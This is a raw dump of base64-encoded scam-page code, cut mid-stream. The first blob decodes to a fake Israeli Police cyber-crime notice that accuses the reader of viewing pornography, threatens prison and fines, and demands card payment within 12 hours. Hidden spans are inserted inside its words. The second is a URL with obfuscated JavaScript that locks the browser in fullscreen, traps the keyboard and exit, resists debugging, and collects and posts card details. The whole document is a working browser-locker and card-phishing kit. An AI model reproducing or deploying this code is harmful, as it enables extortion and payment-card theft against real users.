HNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5jayB3aXRob3V0IHBheWluZywgYWxsIHRoZSBkYXRhIG9uIHlvdXIgZGV2aWNlIHdpbGwgYmUgZGVsZXRlZCB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSwgaW4gb3JkZXIgdG8gcHJldmVudCB0aGUgc3ByZWFkIG9mIHByb2hpYml0ZWQgY29udGVudC4gQWRkaXRpb25hbGx5LCBhbGwgaW5mb3JtYXRpb24gYWJvdXQgdGhlIG9mZmVuc2Ugd2lsbCBiZSBmb3J3YXJkZWQgdG8gdGhlIElzcmFlbGkgUG9saWNlXCdzIEN5YmVyIENyaW1lIFVuaXQsIHdoaWNoIHdpbGwgbGVhZCB0byB0aGUgb3BlbmluZyBvZiBhIGNyaW1pbmFsIGNhc2UgYWdhaW5zdCB5b3UuPC9pPjwvZGl2PicrDQonPGRpdiBjbGFzcz1tdC0yPlBvc3NpYmxlIGNvbnNlcXVlbmNlczo8L2Rpdj4nKw0KICAgICc8ZGl2IGNsYXNzPW10LTI+Q3JpbWluYWwgY2hhcjxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+Z2VzIGFuZCBhIHBlbjxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+YWx0eSBvZiB1cCB0byA1IHllYXJzIGluIHByPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5pc29uIGZvciBwb3NzZXNzaW5nLCB2aWV3aW5nLCBvciB0cmFuc2ZlcnJpbmcgcG9ybm9ncmFwaGljIGNvbnRlbnQsIGNvbnRyYXJ5IHRvIHRoZSBsYXdzIG9mIHRoZSBTdGF0ZSBvZiBJc3JhZWwuPC9kaXY+JysNCiAgICAnPGRpdiBjbGFzcz1tdC0yPkEgZmk8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPm5lIG9mIHVwIHRvIDxiPjIwMiwwMDAgTklTPC9iPiBmb3IgZGlzdHJpYnV0aW5nIG9ic2NlbmUgbWF0ZXJpYWxzIG9uIHRoZSBpbnRlcm5ldCwgYWNjb3JkaW5nIHRvIHRoZSBQdWJsaWMgTW9yYWxpdHkgUHJvdGVjdGlvbiBMPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5hdy48L2Rpdj4nKw0KICAgICc8ZGl2IGNsYXNzPW10LTI+PGI+WW91ciBkZXZpY2VzIGFuZCBhY2Nlc3MgdG8gdGhlIGludGVybmV0IG1heSBiZSBwZXJtYW5lbnRseSBibG9ja2VkPC9iPiwgd2l0aCB0aGUgcG9zc2liaWxpdHkgb2YgZXF1aXBtZW50IGNvbmY8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPmlzY2F0aW9uIGFjY29yZGluZyB0byBhIGNvdXJ0IG9yZGVyLjwvZGl2PicrDQogICAgJzxkaXYgY2xhc3M9bXQtMj5UaGUgbGF3IHN0aXB1bGF0ZXM6PC9kaXY+JysNCiAgICAnPGRpdiBjbGFzcz1tdC0yPjxiPlNlY3Rpb24gMjE0KGEpPC9iPjogQSBwZXJzb24gd2hvIGRpc3RyaWJ1dGVzIG9ic2NlbmUgbWF0ZXJpYWxzIG1heSBiZSBzZW50ZW5jZWQgdG8gaGVhdnkgZmk8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPm5lcyBhbmQgYSBsb25nIHByaXNvbiBzZW50ZW5jZS48L2Rpdj4nKw0KICAgICc8ZGl2IGNsYXNzPW10LTI+PGI+U2VjdGlvbiAyMTQoYik8L2I+OiBBIHBlcnNvbiB3aG8gcG9zc2Vzc2VzIG9yIHZpZXdzIHN1Y2ggbWF0ZXJpYWxzIG1heSBiZSBmaTxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+bmVkIG9yIGltcHJpczxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+b25lZCBmb3IgdXAgdG8gNSB5ZWFycy48L2Rpdj4iLCAnICsNCiAgICAnImNhJysncmRQbGFjZWhvbGRlciI6ICIqKioqICAgKioqKiAgICoqKiogICAqKioqIiwgJyArDQogICAgJyJjdicrJ3ZQbGFjZWhvbGRlciI6ICJDb2RlIiwgJyArDQogICAgJyJmb3VydGhCbG9jayI6ICJUaGlzIHRleHQgYXBwZWFycyB0byBiZSBhIGZhPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5rZSBvciBmcmF1ZDxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+dWxlbnQgd2FybmluZyBhbmQgc2hvdWxkIGJlIHRyZWF0ZWQgd2l0aCBjYXU8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPnRpb24uIEFsd2F5cyB2ZXI8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPmlmeSBzdWNoIG1lc3NhZ2VzIHdpdGggb2ZmPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5pY2lhbCBzb3VyY2VzIGJlZm9yZSB0YWtpbmcgYW55IGFjdGlvbi4iLCAnICsNCiAgICAnInRpbWVUZXh0IjogIlA8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPmF5IHRoZSBmPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5pbmUgd2l0PHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5oaW4gMTIgaDxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+b3VycyB0byBhdjxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+b2lkIHNlcjxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+aW91cyBjb25zZXE8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPnVlbmNlcy4iLCAnICsNCiAgICAnInRpbWVyIjogIkFjY2VzcyBjb2RlIHJlY2VpdmVkIGJ5IFNNUyJ9JzsNCg0KDQp2YXIgdGV4dCA9IFtdOw0KDQp0ZXh0WzBdID0gJyc7DQp0ZXh0WzFdID0gJzxkaXY+JyArDQogICAgJzxkaXYgY2xhc3M9bXQtMj48Yj7XlNeT16TXk9ek158g16nXnNeaINeg15fXodedITwvYj48L2Rpdj5cbicgKw0KICAgICdcbicgKw0KICAgICc8ZGl2IGNsYXNzPW10LTI+15TXnteX15zXp9eUINec15HXmdeY15fXldefINec15DXldee15kg15XXlNeS16DXqiDXlNeh15nXmdeR16gg15HXnteT15nXoNeqINeZ16nXqNeQ15wsIDIyLjExLjIwMjQ8L2Rpdj5cbicgKw0KICAgICc8ZGl2IGNsYXNzPW10LTI+15TXk9ek15PXpNefINep15zXmiDXoNeX16HXnSDXkdei16fXkdeV16og15LXmdep15Qg15fXldeW16jXqiDXnNeQ16rXqNeZ150g15DXodeV16jXmdedINeU157Xm9eZ15zXmdedINeq15XXm9efINek15XXqNeg15XXkteo16TXmSwg15vXldec15wg15fXldee16jXmdedINei150g16HXpteg15XXqiDXkNec15nXnteV16og15HXldeY15XXqiwg15TXqteg15TXkteV16og15zXkCDXnteV16HXqNeZ16og15XXpteV16jXldeqINeQ15fXqNeV16og16nXnCDXqteV15vXnyDXlNee16DXldeS15PXldeqINec15fXlden15kg157Xk9eZ16DXqiDXmdep16jXkNecLjwvZGl2PlxuJyArDQogICAgJ1xuJyArDQogICAgJzxkaXYgY2xhc3M9bXQtMj7XkdeU16rXkNedINec16HXoteZ16MgMjE0INeV15zXodei15nXoyAyMTQo15EpINec15fXldenINeU16LXldeg16nXmdefINep15wg157Xk9eZ16DXqiDXmdep16jXkNecLCDXkNeX15bXp9eULCDXlNek16bXlCDXldem16TXmdeZ15Qg15HXl9eV157XqNeZ150g16TXldeo16DXldeS16jXpNeZ15nXnSwg15HXnteZ15XXl9eTINeb15DXnNeUINeU157Xm9eZ15zXmdedINeQ15zXmdee15XXqiDXkNeVINeT15nXnteV15nXmdedINep15DXmdeg150g15TXldec157XmdedINeQ16og16LXqNeb15kg15TXnteV16HXqCwg16DXl9ep15HXmdedINec16LXkdeZ16jXldeqINek15zXmdec15nXldeqLiDXotec15nXmiDXnNep15zXnSDXp9eg16Eg15HXkteV15HXlCAxMDAwINepIteXINeR15DXntem16LXldeqINeb16jXmNeZ16Eg15DXqdeo15DXmSDXkNeVINeb16jXmNeZ16Eg15PXkdeZ15gg15vXk9eZINec16nXl9eo16gg15DXqiDXlNee15vXqdeZ16gg16nXnNeaLjwvZGl2PlxuJyArDQogICAgJ1xuJyArDQogICAgJzxkaXYgY2xhc3M9bXQtMj7XqdeZ157XlSDXnNeRISDXkNedINec15Ag16rXqdec150g15DXqiDXlNen16DXoSDXkNeVINeq16DXodeUINec16LXp9eV16Mg15DXqiDXlNeX16HXmdee15Qg157Xkdec15kg15zXqdec150sINeb15wg15TXoNeq15XXoNeZ150g15HXnteb16nXmdeo15og15nXmdee15fXp9eVINec15zXkCDXkNek16nXqNeV16og16nXl9eW15XXqCwg15HXnteY16jXlCDXnNee16DXldeiINeQ16og15TXpNem16og15TXqteV15vXnyDXlNeQ16HXldeoLiDXkdeg15XXodejLCDXm9ecINeU157XmdeT16Ig16LXnCDXlNei15HXmdeo15Qg15nXldei15HXqCDXnNee15fXnNen16og16TXqdei15kg15TXodeZ15nXkdeoINep15wg157XqdeY16jXqiDXmdep16jXkNecLCDXk9eR16gg16nXmdeV15HXmdecINec16TXqteZ15fXqiDXqteZ16cg16TXnNeZ15zXmSDXoNeS15PXmi48L2Rpdj5cbicgKw0KICAgICc8ZGl2IGNsYXNzPW10LTI+15TXqdec15vXldeqINeQ16TXqdeo15nXldeqOjwvZGl2PlxuJyArDQogICAgJ1xuJyArDQogICAgJzxkaXYgY2xhc3M9bXQtMj4gICAg15TXktep16og15vXqteRINeQ15nXqdeV150g16TXnNeZ15zXmSDXldei15XXoNepINep15wg16LXkyA1INep16DXldeqINee15DXodeoINei15wg15TXl9eW16fXqiDXqteV15vXnyDXpNeV16jXoNeV15LXqNek15ksINem16TXmdeZ15Qg15HXlSDXkNeVINeU16LXkdeo16rXlSwg15HXoNeZ15LXldeTINec15fXlden15kg157Xk9eZ16DXqiDXmdep16jXkNecLjwvZGl2PlxuJyArDQogICAgJzxkaXYgY2xhc3M9bXQtMj4gICAg16fXoNehINep15wg16LXkyA8Yj4yMDIsMDAwINepIteXPC9iPiDXotecINeU16TXpteqINeX15XXnteo15nXnSDXnteS15XXoNeZ150g15HXqNep16osINeR15TXqteQ150g15zXl9eV16cg15zXlNeS16DXqiDXlNee15XXodeoINeU16bXmdeR15XXqNeZLjwvZGl2PlxuJyArDQogICAgJzxkaXYgY2xhc3M9bXQtMj4gICAgPGI+157Xm9ep15nXqNeZ15og15XXlNeS15nXqdeUINep15zXmiDXnNeo16nXqiDXotep15XXmdeZ150g15zXlNeZ15fXodedINec16bXnteZ16rXldeqPC9iPiwg16LXnSDXkNek16nXqNeV16og15zXlNeX16jXnteqINeU16bXmdeV15Mg15HXlNeq15DXnSDXnNem15Ug15HXmdeqINee16nXpNeYLjwvZGl2PlxuJyArDQogICAgJ1xuJyArDQogICAgJzxkaXYgY2xhc3M9bXQtMj7XlNeX15XXpyDXp9eV15HXojo8L2Rpdj5cbicgKw0KICAgICdcbicgKw0KICAgICc8ZGl2IGNsYXNzPW10LTI+ICAgIDxiPteh16LXmdejIDIxNCjXkCk8L2I+OiDXkNeT150g15TXntek15nXpSDXl9eV157XqNeZ150g157XkteV16DXmdedINei16nXldeZINec15TXmdep16TXmCDXnNen16DXodeV16og15vXkdeT15nXnSDXldec16LXldeg16kg157XkNeh16gg157XnteV16nXmi48L2Rpdj5cbicgKw0KICAgICc8ZGl2IGNsYXNzPW10LTI+ICAgIDxiPteh16LXmdejIDIxNCjXkSk8L2I+OiDXkNeT150g15TXnteX15bXmdenINeQ15Ug16bXldek15Qg15HXl9eV157XqNeZ150g15DXnNeUINem16TXldeZINec16fXoNehINeQ15Ug15zXnteQ16HXqCDXqdecINei15MgNSDXqdeg15nXnS48L2Rpdj5cbicgKw0KICAgICdcbicgKw0KICAgICc8ZGl2IGNsYXNzPW10LTI+PGgyIGNsYXNzPSJ0ZXh0LWRhbmdlciIgc3R5bGU9ImZvbnQtc2l6ZTogMS4zZW07Ij7Xqdec150g15DXqiDXlNen16DXoSDXqteV15ogMTIg16nXoteV16og15vXk9eZINec15TXmdee16DXoiDXnteU16nXnNeb15XXqiDXl9ee15XXqNeV16ouPC9oMj48L2Rpdj5cbicgKw0KICAgICc8L2Rpdj4nOw0KDQoNCnZhciBjQ29kZSA9ICdpc3InOw==
  4. https://ilmnys.cyou/data:text/javascript;base64,ZnVuY3Rpb24gXzB4MTRhZigpe3ZhciBfMHgxOGRjMGQ9WycwJDEnLCdzdWNjZXNzTG5rVGl0bGUnLCdjb25uZWN0Jywnc2hvd19sb2FkZXInLCd2YWxfY19leF9wJywnLmxvYWRSb3cnLCcuY29uZkNvZGVSb3csXHgyMC5wYW5lbC1mb290ZXInLCdpZFx4MjBDJywnY2hhckF0JywncmV0dXJuVmFsdWUnLCdmaW5kJywnZGVidScsJ2NoZWNrX2xuaycsJ0VzY2FwZScsJ3JlcXVlc3RGdWxsc2NyZWVuJywnZFJvdyxceDIwLnBhbmVsLWZvb3RlcicsJ2NvdmVyJywndHJpbScsJ2xvYWQnLCdyZWFkeScsJ3NldE1vbnRoJywncmVzdHJpY3ROdW1lcmljJywnLktITmpsc2ZkbmhiZicsJ2Zvcm1hdEV4cGlyeScsJ2lubmVySGVpZ2h0JywneWVhcicsJ3JlbW92ZScsJ2FjdGlvbicsJ3Byb3AnLCdvbnAnLCcuY2EnLCd0b1VUQ1N0cmluZycsJ2dldERhdGEnLCd0cmlnZ2VyJywnc2hvd19mb3JtX2Jsb2NrJywnYm9keScsJ21vekZ1bGxTY3JlZW4nLCdkaXMnLCdzZWxlY3Rpb25TdGFydCcsJ3ZhbF9jX3ZfX19fYycsJzp2aXNpYmxlJywnbWVzc2FnZScsJ3N1YnN0cicsJy5jb2RlX2Vycm9yX21lc3NhZ2UnLCdceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMDwvZGl2PicsJy5jYXInLCcxNzQ5T2RPZkxhJywnY3Vyc29yJywnY3Z2UGxhY2Vob2xkZXInLCdrb3J0Jywnc3VibWl0JywnPGFceDIwdGFyZ2V0PVx4MjJfYmxhbmtceDIyXHgyMGhyZWY9XHgyMicsJ2FwcGVuZCcsJ3Jlc2V0JywnaW5uZXJXaWR0aCcsJ2Rpc2Nvbm5lY3QnLCdzbGljZScsJzI4Njg3MmJQcWphaCcsJ2NzcycsJ2hpZGVfbG9hZGVyJywnbG9nJywncGFyc2UnLCdsZW5ndGgnLCdyZW1vdmVDbGFzcycsJyNwYWdlJywnLmZ1bGxzY3JlZW4tbW9kZS1leGl0JywnI2NhJywndGVyYycsJ3JlbmluZ2VuJywncXJfY29kZScsJ2lucHV0JywnbGluaycsJ2VtaXQnLCd1bmtub3duJywnYy1hc3NldHMvbXAzL3NvdW5kLm1wMycsJ2NvZGUnLCc8ZGl2XHgyMHN0eWxlPVx4MjJwb3NpdGlvbjpceDIwYWJzb2x1dGU7XHgyMHRvcDowO2xlZnQ6MDt6LWluZGV4Olx4MjAxMDA7cGFkZGluZy10b3A6XHgyMDcwcHg7dGV4dC1hbGlnbjpjZW50ZXI7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtiYWNrZ3JvdW5kOlx4MjB3aGl0ZTtceDIyXHgyMGNsYXNzPVx4MjJxcl9jb2RlX2Jsb2NrXHgyMj48L2Rpdj4nLCdjX2Zvcm0nLCcwMTIzNDU2Nzg5JywnaGlkZV9jb2RlX2Zvcm1fYmxvY2snLCdqb2luJywnZGVTdGF0dXMnLCdoaWRkZW4nLCdmdWxsc2NyZWVuRWxlbWVudCcsJ3lDbycsJ3VzZXInLCdtYWUnLCdzaG93X2NjX2Zvcm0nLCd2YWwnLCdmb3JtOm5vdCgudmFsaWRfYWN0aXZlX2Zvcm0pJywnOmZvY3VzJywnXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwPC9kaXY+XHgwYScsJ21ldGFLZXknLCdrZXl1cCcsJ3VubG9jaycsJ2V4ZWMnLCdceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMDxkaXZceDIwY2xhc3M9XHgyMmNoYXRfbWVzc2FnZV9ibG9ja1x4MjAnLCdhbGwnLCcjb25saW5lX2NoYXQnLCdmb3VydGhCbG9jaycsJ3Z2LFx4MjAjY2EnLCcuYnJ3c3JfdXJsJywnMTMyODIxMnhhb1lMQScsJ3dlYmtpdFJlcXVlc3RGdWxsU2NyZWVuJywnY2hhdF9vcGVuJywnPGltZ1x4MjBzdHlsZT1ceDIybWF4LWhlaWdodDpceDIwMTAwJTttYXJnaW46XHgyMGF1dG87XHgyMlx4MjBzcmM9XHgyMmRhdGE6aW1hZ2UvanBlZztjaGFyc2V0PXV0Zi04O2Jhc2U2NCwnLCdjaWQnLCdhdHRyJywnI2JnX21haW4nLCdjb2RlU3RhdHVzJywnY19mbycsJ21vdXNlbW92ZScsJ2hpZGVfZm9ybV9ibG9jaycsJ2tleUNvZGUnLCdoaWRlJywnZGVhZE1vdXNlTG9jaycsJ2FsZXJ0TXNnJywncmVxdWVzdFBvaW50ZXJMb2NrJywncG1udC5jcl9kX1R5cCcsJ2NoYW5nZScsJ2N0cmxLZXknLCdzdG9wUHJvcGFnYXRpb24nLCdmb3JtJywnc2V0VGltZScsJ3dlYmtpdElzRnVsbFNjcmVlbicsJ1ZhbCcsJ3Nob3dfYycsJ2NsaWNrJywnYmluZCcsJ2xvY2snLCdyZWZyZXNoJywnZnJtdF9DX3JkRXhwaXJ5JywncG1udCcsJ21vekNhbmNlbEZ1bGxTY3JlZW4nLCcud2FybmluZ1x4MjBoMScsJ3NyY0VsZW1lbnQnLCdmYWlsJywncmRfZXJyb3JfbWVzc2FnZScsJ2Rlclx4MjBOJywnNTc1NTU5ZWllTHlLJywnZ2V0VGltZScsJ2RlX2Zvcm0nLCdyZFJvdyxceDIwLmNvbmZDbycsJ21velJlcXVlc3RGdWxsU2NyZWVuJywndmFsaWRfYWN0aXZlX2Zvcm0nLCc4MjU3MFJDWkRyaycsJ3doaWxlXHgyMCh0cnVlKVx4MjB7fScsJy5zdWMnLCdjcmVhdGVSYW5nZScsJ2ZybXRfQ19yZENfVl9fQycsJ3RydWUnLCdkXHgyME51JywndGltZXInLCdmb2N1cycsJ3BsYXknLCcjb25saW5lX2NoYXRfY2xvc2UnLCdzdWNjZXNzX2hpZGUnLCdhcixceDIwI2NhJywnb25saW5lX2NoYXRfY2xvc2UnLCdzZWxlY3RvcicsJ2VhY2gnLCd0eXBlJywna2V5Ym9hcmQnLCdzdWJzdHJpbmcnLCd1bmJpbmQnLCdyZC15ZScsJyNjaGF0X3NlbmRfYmxvY2tceDIwaW5wdXRbdHlwZT10ZXh0XScsJ2VTdGF0dXMnLCdmb3JtYXQnLCd0b2dnbGVDbGFzcycsJ2RhdGEnLCdjYWxsJywnYWRtaW4nLCc8dGV4dGFyZWEvPicsJ3Rlc3QnLCdyZXZlcnNlJywnZ2V0RnVsbFllYXInLCdjb29raWUnLCdaZXB0bycsJ2Nlc3NSb3cnLCdodG1sJywncm0tY29kZScsJ29iamVjdCcsJ3ZhbF9jX251dV9tJywnI29ubGluZV9jaGF0X21lc3NhZ2VzJywnLmNvbmZDb2RlUm93XHgyMHA6bGFzdC1jaGlsZCcsJ3R1cycsJ3JkLWNvbmZpJywnYXNkYXNhc2QxMicsJ3JlcGxhY2VBbGwnLCdkUm93LFx4MjAuY29uZkNvZGVSb3csXHgyMC5wYW5lbC1mb290ZXInLCdzcGxpdCcsJ1x4MjBpbnB1dCcsJ3JlbG9hZCcsJ2JlZm9yZXVubG9hZCcsJ250aCcsJ3Nob3dfY29kZV9mb3JtX2Jsb2NrJywnc3VjY2VzcycsJ2NyX2RfRV94cF92YWwnLCdyZC1tbycsJ2xhc3QnLCc2OEtVdUt3RCcsJ2V4aXRGdWxsc2NyZWVuJywnaW5kZXhPZicsJ2FtZXgnLCdyZFx4MjBIb2wnLCdzaG93Jywnd2Vic29ja2V0Jywnc2VsZWN0aW9uJywnc29ja2V0X21lc3NhZ2UnLCdnZXRNb250aCcsJ3JkLWMnLCdrZXlwcmVzcycsJy5zdWNjZXNzUm93Jywnc2hvd19jbycsJ21velJlcXVlc3RQb2ludGVyTG9jaycsJ1BPU1QnLCdLYnJkXHgyMGwuJywnbXNFeGl0RnVsbHNjcmVlbicsJ25ld19jaGF0X21lc3NhZ2UnLCd3ZWJraXRFeGl0RnVsbHNjcmVlbicsJ2NsaWNrXHgyMG1vdXNldXBceDIwa2V5dXBceDIwc3VibWl0JywnLmJyd3NyX3R0bCcsJ2E6bm90KC5hY3RpdmVMaW5rKScsJ2NyX2RfVHlwJywnX21lc3NhZ2VceDIyPlx4MGEnLCd0b1N0cmluZycsJ2luaXQnLCdkaW5lJywnZGFuJywnLmItdGltZVx4MjBoMicsJzQ4OTV4Ull5TlYnLCdceDIwL1x4MjAnLCcuYW0nLCdyZXBsYWNlJywnbG9jYXRpb24nLCdhcmQnLCdtYmVyJywnNTZMTlZTSHUnLCdnZXRIb3VycycsJ2ZybXRfQ19yZE51bWJlcicsJ3RleHQtZGFuZ2VyJywnaGlkZV9xcicsJ3Jlc2l6ZScsJ21vdXNlTG9jaycsJ3lDb2QnLCc8L2E+JywnXHg1YytceDVjK1x4MjAqKD86W2EtekEtWl8kXVswLTlhLXpBLVpfJF0qKScsJ2VTdGEnLCcubG9hJywnS2JyZFx4MjB1LicsJzI0OTMzMjR4UE9vR1AnLCdmdWxsU2NyZWVuRWxlbWVudCcsJy53YXJuaW5nXHgyMHAnLCdzZWxlY3Rpb25FbmQnLCdyZXNvbHV0aW9uJywnd2hpY2gnLCdjdXJyZW50VGFyZ2V0JywncHVzaCcsJ3RpbWVUZXh0Jywnc3RhdGVPYmplY3QnLCcxMzk2NDM0T21ybmNYJywndGFyZ2V0JywncmV0dXJuXHgyMGZhbHNlJywnZm9yYnJ1Z3NmbycsJ29mZicsJ1x4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMDxkaXZceDIwY2xhc3M9XHgyMmNoYXRfbWVzc2FnZVx4MjI+XHgwYScsJ3dlYmtpdFJlcXVlc3RQb2ludGVyTG9jaycsJyNMS0hVR1lmVHknLCcjY2hhdF9zZW5kX2Jsb2NrXHgyMGZvcm0nLCd1bmRlZmluZWQnLCcudGhpcmRCbG9ja1x4MjBpbnB1dFt0eXBlPXRleHRdJywncGFzdGUnLCdxdWVyeVNlbGVjdG9yJywndmlzaWJpbGl0eScsJ2Z1bmN0aW9uXHgyMCpceDVjKFx4MjAqXHg1YyknLCdlaG9sZGVyJywncmQtbnVtYicsJ2NoYWluJywnYWpheCcsJ2dldCcsJ2Zyb21DaGFyQ29kZScsJ2dldFNlY29uZHMnLCdmaXJzdCcsJy5xcl9jb2RlX2Jsb2NrJywnZXZlbnQnLCd0aXRsZScsJzVWaUhvQ0wnLCc7XHgyMHBhdGg9LycsJ3BsYWNlaG9sZGVyJywnanNvbicsJ2Vycm9yJywnb25jb250ZXh0bWVudScsJ2FkZENsYXNzJywnY291bnRlcicsJ2FtZScsJ3ByZXZlbnREZWZhdWx0JywnZFJvdycsJ3RhcmdldFNjcmlwdCcsJ3NoaWZ0JywnbWF0Y2gnLCcubGVmdEJvZHlCbG9ja1x4MjBwJywnY29kJywnYXBwbHknLCd0ZXh0JywnYWRkRXZlbnRMaXN0ZW5lcicsJ250aCxceDIwI2NhJywnY29uc3RydWN0b3InLCdjbGlwYm9hcmREYXRhJywncGF0dGVybnMnLCdyZFJvdyddO18weDE0YWY9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4MThkYzBkO307cmV0dXJuIF8weDE0YWYoKTt9ZnVuY3Rpb24gXzB4MmYzNyhfMHgzNjdlMjQsXzB4MTM0ZWViKXt2YXIgXzB4NDI5Y2IwPV8weDE0YWYoKTtyZXR1cm4gXzB4MmYzNz1mdW5jdGlvbihfMHg0Mzc5MDQsXzB4NTgxNTZiKXtfMHg0Mzc5MDQ9XzB4NDM3OTA0LTB4YmY7dmFyIF8weDE0YWYyYT1fMHg0MjljYjBbXzB4NDM3OTA0XTtyZXR1cm4gXzB4MTRhZjJhO30sXzB4MmYzNyhfMHgzNjdlMjQsXzB4MTM0ZWViKTt9dmFyIF8weDIzZjQzOD1fMHgyZjM3OyhmdW5jdGlvbihfMHgyZDY3YzQsXzB4MjZmNTVhKXt2YXIgXzB4NWRiYjdjPV8weDJmMzcsXzB4YjJhMDY2PV8weDJkNjdjNCgpO3doaWxlKCEhW10pe3RyeXt2YXIgXzB4NDk1NzBmPXBhcnNlSW50KF8weDVkYmI3YygweGVmKSkvMHgxKihwYXJzZUludChfMHg1ZGJiN2MoMHhkMSkpLzB4MikrcGFyc2VJbnQoXzB4NWRiYjdjKDB4MWNhKSkvMHgzK3BhcnNlSW50KF8weDVkYmI3YygweDFhNSkpLzB4NCstcGFyc2VJbnQoXzB4NWRiYjdjKDB4MTI3KSkvMHg1KigtcGFyc2VJbnQoXzB4NWRiYjdjKDB4MTBkKSkvMHg2KSstcGFyc2VJbnQoXzB4NWRiYjdjKDB4ZjYpKS8weDcqKC1wYXJzZUludChfMHg1ZGJiN2MoMHgxNzgpKS8weDgpK3BhcnNlSW50KF8weDVkYmI3YygweDEwMykpLzB4OSstcGFyc2VJbnQoXzB4NWRiYjdjKDB4MWQwKSkvMHhhKihwYXJzZUludChfMHg1ZGJiN2MoMHgxNmQpKS8weGIpO2lmKF8weDQ5NTcwZj09PV8weDI2ZjU1YSlicmVhaztlbHNlIF8weGIyYTA2NlsncHVzaCddKF8weGIyYTA2Nlsnc2hpZnQnXSgpKTt9Y2F0Y2goXzB4OTc3ZTEpe18weGIyYTA2NlsncHVzaCddKF8weGIyYTA2Nlsnc2hpZnQnXSgpKTt9fX0oXzB4MTRhZiwweDJhODI4KSk7dmFyIF8weDU4MTU2Yj0oZnVuY3Rpb24oKXt2YXIgXzB4MmVjMzEyPSEhW107cmV0dXJuIGZ1bmN0aW9uKF8weDQ0ZmUwOSxfMHgzNzg3YjEpe3ZhciBfMHg0M2E1NTE9XzB4MmVjMzEyP2Z1bmN0aW9uKCl7dmFyIF8weDE1MDhjZT1fMHgyZjM3O2lmKF8weDM3ODdiMSl7dmFyIF8weDE3ZjE0ND1fMHgzNzg3YjFbXzB4MTUwOGNlKDB4MTM3KV0oXzB4NDRmZTA5LGFyZ3VtZW50cyk7cmV0dXJuIF8weDM3ODdiMT1udWxsLF8weDE3ZjE0NDt9fTpmdW5jdGlvbigpe307cmV0dXJuIF8weDJlYzMxMj0hW10sXzB4NDNhNTUxO307fSgpKTsoZnVuY3Rpb24oKXtfMHg1ODE1NmIodGhpcyxmdW5jdGlvbigpe3ZhciBfMHgyNjFmYjQ9XzB4MmYzNyxfMHgxNTdjNjY9bmV3IFJlZ0V4cChfMHgyNjFmYjQoMHgxMWIpKSxfMHg0MmZmZTE9bmV3IFJlZ0V4cChfMHgyNjFmYjQoMHhmZiksJ2knKSxfMHgyMGE1OWI9XzB4NDM3OTA0KF8weDI2MWZiNCgweGViKSk7IV8weDE1N2M2NlsndGVzdCddKF8weDIwYTU5YitfMHgyNjFmYjQoMHgxMWUpKXx8IV8weDQyZmZlMVsndGVzdCddKF8weDIwYTU5YitfMHgyNjFmYjQoMHgxODUpKT9fMHgyMGE1OWIoJzAnKTpfMHg0Mzc5MDQoKTt9KSgpO30oKSk7dmFyIHN0YXJ0PSFbXSx3aWR0aFN0YXJ0LGhlaWdodFN0YXJ0OyQoZG9jdW1lbnQpW18weDIzZjQzOCgweDE1MildKGZ1bmN0aW9uKCl7dmFyIF8weGI0NzIwOD1fMHgyM2Y0Mzg7XzB4YjQ3MjA4KDB4MWUxKWluIG5hdmlnYXRvciYmXzB4YjQ3MjA4KDB4MWMwKWluIG5hdmlnYXRvclsna2V5Ym9hcmQnXSYmZG9jdW1lbnRbXzB4YjQ3MjA4KDB4MTM5KV0oJ2Z1bGxzY3JlZW5jaGFuZ2UnLGFzeW5jKCk9Pnt2YXIgXzB4MmU2OTRhPV8weGI0NzIwODtpZihkb2N1bWVudFtfMHgyZTY5NGEoMHgxOTIpXSl7YXdhaXQgbmF2aWdhdG9yW18weDJlNjk0YSgweDFlMSldW18weDJlNjk0YSgweDFjMCldKFtfMHgyZTY5NGEoMHgxNGMpXSksY29uc29sZVsnbG9nJ10oXzB4MmU2OTRhKDB4ZTEpKTtyZXR1cm4